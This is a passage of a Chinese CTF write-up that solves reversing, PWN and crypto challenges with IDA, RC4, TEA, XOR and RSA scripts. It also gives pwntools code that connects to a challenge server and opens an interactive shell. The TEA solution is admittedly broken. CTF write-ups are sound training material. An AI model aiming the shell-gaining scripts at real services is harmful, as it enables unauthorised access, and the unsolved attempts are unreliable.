"A0FMSvAmByj97DnQBMcqSDum7DWzAdWUAdW="
]

然后通过Python算一下映射关系,得到映射关系如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Y: n
W: r
J: i
j: v
Z: g
G: s
V: t
m: 8
2: Y
h: G
p: K
a: e
t: m
s: j
b: +
5: 2
v: z
c: C
H: T
F: 3
y: M
3: 6
R: O
1: 9
d: Z
n: 1
4: q
e: f
X: a
o: N
=: =
M: A
T: k
I: h
z: D
N: B
D: d
U: 5
g: I
E: o
Q: l
O: L
A: W
x: 4
0: c
l: p
r: b
i: R
C: y
K: S
S: 0
q: Q
k: u
8: F
L: 7
w: U

然后就可以通过Python写代码映射并解码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import base64

mapping = {
'Y': 'n',
'W': 'r',
'J': 'i',
'j': 'v',
'Z': 'g',
'G': 's',
'V': 't',
'm': '8',
'2': 'Y',
'h': 'G',
'p': 'K',
'a': 'e',
't': 'm',
's': 'j',
'b': '+',
'5': '2',
'v': 'z',
'c': 'C',
'H': 'T',
'F': '3',
'y': 'M',
'3': '6',
'R': 'O',
'1': '9',
'd': 'Z',
'n': '1',
'4': 'q',
'e': 'f',
'X': 'a',
'o': 'N',
'=': '=',
'M': 'A',
'T': 'k',
'I': 'h',
'z': 'D',
'N': 'B',
'D': 'd',
'U': '5',
'g': 'I',
'E': 'o',
'Q': 'l',
'O': 'L',
'A': 'W',
'x': '4',
'0': 'c',
'l': 'p',
'r': 'b',
'i': 'R',
'C': 'y',
'K': 'S',
'S': '0',
'q': 'Q',
'k': 'u',
'8': 'F',
'L': '7',
'w': 'U'
}

# 逆映射
inverse_mapping = {v: k for k, v in mapping.items()}

# 题目提供的字符串
b64_mapped = "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="

# 进行逆映射
reversed_string = ''.join(inverse_mapping.get(char, char) for char in b64_mapped)

# 进行 Base64 解码
decoded_bytes = base64.b64decode(reversed_string)
decoded_string = decoded_bytes.decode('utf-8')

# 输出结果
print(decoded_string)

然后跑出来结果是flag{y0uUkn0w\base64Uwell},很奇怪,CTF题目分割字符的时候用的是下划线,这里有U\,我想到应该是我的映射关系建立得不完全,手动把U\改为下划线变成flag{y0u_kn0w_base64_well}后提交,成功!

马后炮环节

完赛后发现这题其实是base64换表的题目,上面那个WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/就是新的b64编码表

补一个换表解码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64

# Original Table
ORIGIN_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# New Table
NEW_TABLE = "WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/"

# Build Mapping
MAPPING = {}
for index in range(64):
MAPPING[NEW_TABLE[index]] = ORIGIN_TABLE[index]

# String to decode
string = "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="

# Transform the string to real b64 table
new_string = ""
for char in string:
if char != "=":
new_string += MAPPING[char]
else:
new_string += "="

try:
decoded_bytes = base64.b64decode(new_string)
print(decoded_bytes.decode('utf-8'))
except Exception as e:
print("Error decoding base64:", e)

begin

什么是IDA?

【难度:签到】

描述提示我们用IDA打开,按下F5后会看到这个main函数里给了很多提示

第一部分

在Hex-view视图中,我们可以看到第一部分flag的内容为flag{Mak3_aN_

按照题目给的提示,我们在IDA-View里面按下A也能够直接转换出来

第二部分

按照题目提示,我们按下Shift+F12转换到Strings视图就可以看到了,为3Ff0rt_tO_5eArcH_

第三部分

题目说按下X键,但其实我是在IDA-View里面找到的,直接双击题目给我们提示第三部分的那一行,然后就能看到了,为F0r_th3_f14g_C0Rpse

所有最后结果为flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

ezAndroidStudy

这是什么?猫猫虫?

【难度:简单】

resources.arsc可以查到flag2和flag4的属性

1
2
<public type="string" name="flag2" id="0x7f12003a" />
<public type="raw" name="flag4" id="0x7f110000" />

第二段flag

找到/res/values/strings.xml搜索flag2可以得到flag2_@r4

第四段flag

找到res/raw下发现flag4.txt,得到flag4_andr01d

提示

然后在res/values/strings.xml里面发现提示

1
2
3
4
5
6
7
8
9
<string name="fab_transformation_sheet_behavior">com.google.android.material.transformation.FabTransformationSheetBehavior</string>
<string name="fifth">安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵</string>
<string name="fifth_fragment_label">Session5 : Native code</string>
<string name="first">一个 Activity 就是一个页面呢,每一次页面切换,就是 Activity 的切换。问题来了,我们怎么才能知道一个软件有哪些 Activity 呢?答案啊,是查找 AndroidManifest.xml 文件里的 Activity 标签呢,你能在 Activity 里找到第一段 flag 吗喵?</string>
<string name="first_fragment_label">Session1: Activity</string>
<string name="flag2">flag2: _@r4</string>
<string name="fourth">你知道吗?apk 中不用编译的资源(一下其他类型的文件)通常放在 /assets 目录和 /res/raw 目录下呢,你能找到第四段 flag 吗喵?(悄悄告诉你,这个比赛很容易考到呢)</string>
<string name="fourth_fragment_label">Session4: Raw Res</string>

第一段flag

AndroidManifest.xml里面,我们可以看到第一个定义的activity

1
<activity android:theme="@style/Theme.EzAndroidStudy" android:icon="@drawable/ic" android:name="work.pangbai.ezandroidstudy.MainActivity" android:exported="true">

通过翻Activity清单,可以看到在Homo这个Activity下面有个flag1,可以得到第一段flag为flag{Y0u

第三段flag

strings.xml的底部发现第三段flag的提示

1
2
<string name="third">layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity 的大体布局,你能找到布局里藏起来的 flag 吗喵?</string>
<string name="third_fragment_label">Session3: Layout</string>

让我们去翻layout,然后在/res/layout/activity_main.xml找到第三段flag为_900d

第五段flag

第五段flag告诉我们要去逆向.so文件,apk里面有两个.so文件,想着先从小的那个开始,代码量没那么大

libezandroidstudy.so里面,可以找到函数Java_work_pangbai_ezandroidstudy_MainActivity_getflag5,在底下能够看到flag5为_r4V4rs4r}

合并flag

flag合起来就变成了flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

Simple_encryption

一眼秒的算法

【难度:简单】

透过IDA我们可以看到算法具体如下

则有输入字符 input[j] 的计算方式为:

  • 如果 j % 3 == 0input[j] = buffer[k] + 31
  • 如果 j % 3 == 1input[j] = buffer[k] - 41
  • 如果 j % 3 == 2input[j] = buffer[k] ^ 0x55

双击伪代码里的buffer,可以得到它的值

于是可以写出解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
buffer = [
0x47,
0x95,
0x34,
0x48,
0xA4,
0x1C,
0x35,
0x88,
0x64,
0x16,
0x88,
7,
0x14,
0x6A,
0x39,
0x12,
0xA2,
0x0A,
0x37,
0x5C,
7,
0x5A,
0x56,
0x60,
0x12,
0x76,
0x25,
0x12,
0x8E,
0x28,
]
input_chars = []

for j in range(len(buffer)):
if j % 3 == 0:
input_chars.append(buffer[j] + 31)
elif j % 3 == 1:
input_chars.append(buffer[j] - 41)
elif j % 3 == 2:
input_chars.append(buffer[j] ^ 0x55)

# 转换为字符
input_string = "".join(chr(c) for c in input_chars)
print(input_string)

运行得到flag

ez_debug

动态调试(可能xdbg会更简单哦)

【难度:简单】

题目告诉我们用xdbg调试,就试试呗(反正没用过)

我先 右键->搜索->所有模块->字符串 看看能不能找到什么东西,但是找不到,只能看到一些可阅读的有意义的东西,所以我咋这些地方按下了F2设置了一下breakpoint

然后不断步进,在输入了flag后,可以看到调用了0x401D2A的Decrypted flag,在这个周围可以看到flag为flag{y0u_ar3_g0od_@_Debu9}

UPX

你知道upx吗?

【难度:简单】

题目告诉我们是UPX了,我们要使用的项目为Github上的UPX => upx/upx: UPX - the Ultimate Packer for eXecutables (github.com)

因为套壳了我们没发反编译,所以得先用UPX去壳

1
$ upx -d upx

去壳后丢进IDA,能看到接受的输入长度为22,即flag长度应该为22

在IDA里面,可以看到before_main函数,里面有一些内容

猜测这些字符是与密钥进行RC4运算的字符编码,而RC4是对称的(加密即解密),所以我们需要找到密钥

而往下翻到数据去,可以看到有个变量为aNewStar,其内容为NewStar,应该就是拿来参与RC4运算的密钥了

RC4要求用正整数,所以我们需要把负数转为无符号八位整数,存在以下规则

所以就写个脚本计算就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import ARC4

# RC4密钥
key = b"NewStar"

# data值
# 注:原来的值应该为bytearray([-60, 96, -81, -71, -29, -1, 46, -101, -11, 16, 86, 81, 110, -18, 95, 125, 125, 110, 43, -100, 117, -75])
encrypted_data = bytearray([196, 96, 175, 185, 227, 255, 46, 155, 245, 16, 86, 81, 110, 238, 95, 125, 125, 110, 43, 156, 117, 181])

# 创建RC4解密对象
cipher = ARC4.new(key)

# 解密data
decrypted_data = cipher.decrypt(encrypted_data)

print("flag: ", decrypted_data)

得到flag为flag{Do_you_know_UPX?}

drink_TEA(未做出)

来喝茶吧

【难度:简单】

题目说喝茶,我其实没什么抓手,但是茶是TEA,我就在想是不是什么加密方法叫TEA,所以去查了一下还真的有

下面是main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+20h] [rbp-28h]
__int64 v5; // [rsp+28h] [rbp-20h]

sub_140001070((__int64)aPleaseInput, argv, envp);
sub_140001120("%32s", Buf1);
v5 = -1i64;
do
++v5;
while ( Buf1[v5] );
if ( v5 == dword_140004078 )
{
for ( i = 0; i < dword_140004078; i += 8 )
sub_140001180((unsigned int *)&Buf1[i], aWelcometonewst);
if ( !memcmp(Buf1, &unk_140004080, dword_140004078) )
sub_140001070((__int64)aRight);
else
sub_140001070((__int64)aWrong_0);
return 0;
}
else
{
sub_140001070((__int64)aWrong);
return 0;
}
}

在main函数中找到函数sub_140001180,可以看到里面的具体加密方式,跟TEA很像

得到delta1640531527,其中传入的密钥为aWelcometonewst,找了一下内容是WelcomeToNewStar

此外,网上找可以找到unk_140004080,存放的应该是真正的flag经过TEA加密后的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.data:0000000140004080 unk_140004080   db  78h ; x             ; DATA XREF: main+BF↑o
.data:0000000140004081 db 20h
.data:0000000140004082 db 0F7h
.data:0000000140004083 db 0B3h
.data:0000000140004084 db 0C5h
.data:0000000140004085 db 42h ; B
.data:0000000140004086 db 0CEh
.data:0000000140004087 db 0DAh
.data:0000000140004088 db 85h
.data:0000000140004089 db 59h ; Y
.data:000000014000408A db 21h ; !
.data:000000014000408B db 1Ah
.data:000000014000408C db 26h ; &
.data:000000014000408D db 56h ; V
.data:000000014000408E db 5Ah ; Z
.data:000000014000408F db 59h ; Y
.data:0000000140004090 db 29h ; )
.data:0000000140004091 db 2
.data:0000000140004092 db 0Dh
.data:0000000140004093 db 0EDh
.data:0000000140004094 db 7
.data:0000000140004095 db 0A8h
.data:0000000140004096 db 0B9h
.data:0000000140004097 db 0EEh
.data:0000000140004098 db 36h ; 6
.data:0000000140004099 db 59h ; Y
.data:000000014000409A db 11h
.data:000000014000409B db 87h
.data:000000014000409C db 0FDh
.data:000000014000409D db 5Ch ; \
.data:000000014000409E db 23h ; #
.data:000000014000409F db 24h ; $

所以可以让GPT写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
DELTA = 0x9E3779B9
NUM_ROUNDS = 32

def custom_tea_decrypt(v, k):
"""根据你的C代码实现的TEA解密函数"""
v0, v1 = v
v5 = DELTA * NUM_ROUNDS # 初始化v5
for _ in range(NUM_ROUNDS):
v1 -= (k[3] + (v0 >> 5)) ^ (v5 + v0) ^ (k[2] + 16 * v0)
v1 &= 0xFFFFFFFF # 保持32位
v0 -= (k[1] + (v1 >> 5)) ^ (v5 + v1) ^ (k[0] + 16 * v1)
v0 &= 0xFFFFFFFF # 保持32位
v5 += DELTA # v5增加delta值(解密时增加)
return v0, v1

def bytes_to_ints(b):
"""将8字节数据块转换为两个32位整数"""
return int.from_bytes(b[:4], byteorder='big'), int.from_bytes(b[4:], byteorder='big')

def ints_to_bytes(v0, v1):
"""将两个32位整数转换为8字节数据块"""
return v0.to_bytes(4, byteorder='big') + v1.to_bytes(4, byteorder='big')

# TEA 密钥 (WelcomeToNewStar)
key = [0x57656C63, 0x6F6D6554, 0x6F4E6577, 0x53746172] # "WelcomeToNewStar" 的16进制表示

# 加密后的目标数据 (32字节)
encrypted_data = bytes([
0x78, 0x20, 0xF7, 0xB3, 0xC5, 0x42, 0xCE, 0xDA,
0x85, 0x59, 0x21, 0x1A, 0x26, 0x56, 0x5A, 0x59,
0x29, 0x02, 0x0D, 0xED, 0x07, 0xA8, 0xB9, 0xEE,
0x36, 0x59, 0x11, 0x87, 0xFD, 0x5C, 0x23, 0x24
])

# 解密
decrypted_message = b''
for i in range(0, len(encrypted_data), 8):
block = encrypted_data[i:i + 8]
v0, v1 = bytes_to_ints(block)
d0, d1 = custom_tea_decrypt((v0, v1), key)
decrypted_message += ints_to_bytes(d0, d1)

# 输出解密后的数据
print("解密后的明文:", decrypted_message)

但是实测解不出来什么有意义的内容,可能是我找错了

ezencrypt(未做出)

有一位魔女坐着扫帚飞在空中,灰色头发在风中飘逸,这位像洋娃娃一般漂亮又可爱,连夏天的当空烈日见了都会放出更炙热光芒的少女,究竟是谁呢,没错就是我。

【难度:中等】

在应用中可以发现提示

所以把so拿出来逆向,然后就做不出了

PWN

Real login

通过IDA查看附件的文件,在func函数里面可以直接看到密码

所以nc一下容器,直接输入密码就可以得到shell了

Game

不会连最简单的加法都不会吧

【难度:签到】

使用IDA反编译可以看到返回shell的条件是v1的值大于999,而我们每次输入的值要在0-10之间才能继续输入

所以写一个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

io = remote("8.147.128.74", 45354)

# 等待服务器的初始输出
io.recvuntil(b"pls input you num:")

# 初始化输入的数字和
total = 0

# 循环直到总和大于999
while 1:
try:
print(total)
# 等待服务器提示
io.recvuntil(b"pls input you num:", timeout=5)
# 继续输入10
io.sendline(b'10')
total += 10
if total > 999:
io.interactive()
except EOFError:
# 切换到交互模式
io.interactive()

然后ls一下发现flag就在当前目录,给cat出来就有了

CRYPTO

Base

This is a base question!

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

【难度:签到】

都说了是Base,但是没有Base的特征,看到尾巴3D连续,应该是十六进制码,先16进制转出来,发现是四个等号,猜Base32,还没出结果,再试试Base64,结束战斗,flag为flag{B@sE_0f_CrYpt0_N0W}

xor

如果再来一次的话,就能回到从前,一切都会好起来的

【难度:签到】

xor就是异或嘛,异或的性质就是a^b=c, a^c=b, b^c=a这样的,所以可以逆着回去,这里题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)

'''
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
'''

可以得知c1异或的对象为New_Star_CTF编码后转成long数,且m1包含flag的前半部分,m2包含flag的后半部分

所以写一个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import xor
from Crypto.Util.number import long_to_bytes, bytes_to_long

# 已知数据
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'

m1 = long_to_bytes(c1 ^ bytes_to_long(key))
print("Part 1: ", m1)

m2 = xor(key, c2)
print("Part 2: ", m2)

flag = m1 + m2
print("flag: ", flag.decode('utf-8'))

就能够得到flag了

一眼秒了

n小小的也很可爱

【难度:简单】

提示我们n的值很小了,题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)

# 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
# 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

所以可以直接用计算机暴力破解,写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sympy import factorint
from Crypto.Util.number import long_to_bytes

# 已知数据
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537

# 因数分解 n
factors = factorint(n)

p, q = factors.keys()
print(f"p: {p}\nq: {q}")

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = pow(e, -1, phi_n)

# 解密
m = pow(c, d, n)

# 将长整型转换为字节
flag = long_to_bytes(m)
print("flag: ", flag.decode())

然后就能得到flag:flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

这是几次方? 疑惑!

^ w ^

^ 在python里面到底是什么意思?不如先看看大python 运算符号的优先级吧

【难度:简单】

^在Python中是异或运算符,而Python的运算符的顺序如下:

  • 指数运算符 (\**)
  • 按位取反 (~)、一元加 (+)、一元减 (-)
  • 乘法 (\*)、除法 (/)、取整除 (//)、取模 (%)
  • 加法 (+)、减法 (-)
  • 按位移位运算 (<<, >>)
  • 按位与 (&)
  • 按位异或 (^)
  • 按位或 (|)
  • 比较运算符 (==, !=, <=, >=, <, >)

所以根据我们拿到的题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *


flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537

m = bytes_to_long(flag)
c = pow(m, e, n)

hint = p^e + 10086

print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)
'''
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
[n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537]
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390
'''

对于hint的计算,是先算了e + 10086再算p ^ e,所以我们逆着回去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2

c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
n = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261
e = 65537
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390

p = hint ^ e + 10086
p = gmpy2.mpz(p)

q = n // p

phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

m = pow(c, d, n)
flag = long_to_bytes(m)

print("flag:", flag.decode())

然后就可以得到flag了,flag为flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}

Since you konw something

你见到了上周的老朋友,你只需告诉他一部分信息,他就会给你key

题目给了我们一段Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = ?? #extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c))

'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''

因为告诉我们key很短,所以我就直接写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import xor
from Crypto.Util.number import long_to_bytes
import itertools
from tqdm import tqdm

# Character set
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

c = 218950457292639210021937048771508243745941011391746420225459726647571

# Calculate the number of combinations
total_combinations = sum(len(charset) ** i for i in range(1, 7))

with tqdm(total=total_combinations, desc="Processing combinations") as pbar:
# Get all the combination in length 2~6
for length in range(1, 7):
# Generate the combination of length
for key_tuple in itertools.product(charset, repeat=length):
# Convert to string
key = ''.join(key_tuple)

# Decrypt
decoded_bytes = xor(long_to_bytes(c), key)

# Verify the result
try:
decoded_str = decoded_bytes.decode('utf-8')
except UnicodeDecodeError:
pbar.update(1) # Update bar
continue # continue if not valid

# if start with "flag{" then stop
if decoded_str.startswith('flag{'):
print(f"key: {key}")
print(f"FLAG: {decoded_str}")
pbar.close() # End bar
break

# Update bar
pbar.update(1)
else:
# Next length
continue
# Result found
break

很快就出来了,key为ns,flag为flag{Y0u_kn0w_th3_X0r_b3tt3r}

Just one and more than two

欸,少了少了?

【难度:中等】

题目给了两个RSA的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *

flag = b'flag{?????}'
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
e = 65537
p, q, r= (getPrime(512) for _ in range(3))
N=p*q*r
c1 = pow(m1, e, p)
c2 = pow(m2, e, N)

print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}')

'''
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
'''

所以直接解就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from sympy import mod_inverse

p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
N = p * q * r
e = 65537
c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445

phi_p = p - 1
d1 = mod_inverse(e, phi_p)
m1 = pow(c1, d1, p)

phi_N = (p - 1) * (q - 1) * (r - 1)
d2 = mod_inverse(e, phi_N)
m2 = pow(c2, d2, N)

m1_bytes = long_to_bytes(m1)
m2_bytes = long_to_bytes(m2)
flag = m1_bytes + m2_bytes

print(f"flag: {flag.decode()}")

运行就能够得到flag了,为flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}

没e怎么玩?

公钥到处乱传,这下大家都能加密了——我不想把e告诉大家,只有聪明的宝宝才可以知道

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
import random
import sympy
import gmpy2

m = bytes_to_long(b'flag{*****}')

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )

e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )

n = p*q*r
c = pow( m , e , n )
print( "c=" , c )

"""
hint_of_pqr= 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172
big_prime is: 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint is: 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571
c= 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310
"""

先浅浅的写几段代码,把题目给的方程解出来

1
2
3
4
5
6
7
8
9
10
from sympy import symbols, Eq, solve

p, q, r = symbols('p q r')

eq1 = Eq(1*p + 1*q + 1*r, 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497)
eq2 = Eq(2*p + 3*q + 3*r, 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760)
eq3 = Eq(9*p + 9*q + 6*r, 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172)

solution = solve([eq1, eq2, eq3], (p, q, r))
print(solution)

得到结果

p 10183677214652023044474780341271224480860741865271128462400237861954731862671046572481587003643951915319746511716779405224320633957652210335830783097185731
q 10501863154525380899885393651734595340401622693414265402191855789807170977044584937255025740961595981958235238915269093897387769735490697411913603370485999
r 10457194869353593100177834984530743371730082196597132299112004173986134317902326819633405971492147254575586164057393393898548415838816927385666152840961767

进而得到n为1118371732112787903418346489449078880127023778708016096649855016901643516642180291022300035501171412055073735949284412598731736949716359134192953438758363513682501930485643681749944489845602193481814423227893712381256148117841115506286465981588616993739184910418884137625771473608912624633173817295646021794436158718988571029798542407300967100761668975428477818008241171856195208878653975471332648078437606620726521120367718955217258453677408306939312852506075323,非常地大,而在RSA中,N为模数

再求一下e,根据题目给的信息,可写出以下代码

1
2
3
4
5
6
7
8
9
10
from sympy import mod_inverse
from sympy.ntheory import discrete_log

a_big_prime = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571
modulus = 2**512

e_value = discrete_log(modulus, hint, a_big_prime)
print(e_value)

得到e的值为18344052974846453963

进而可以开始解密,写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from sympy import mod_inverse

n = int("1118371732112787903418346489449078880127023778708016096649855016901643516642180291022300035501171412055073735949284412598731736949716359134192953438758363513682501930485643681749944489845602193481814423227893712381256148117841115506286465981588616993739184910418884137625771473608912624633173817295646021794436158718988571029798542407300967100761668975428477818008241171856195208878653975471332648078437606620726521120367718955217258453677408306939312852506075323")
e = 18344052974846453963
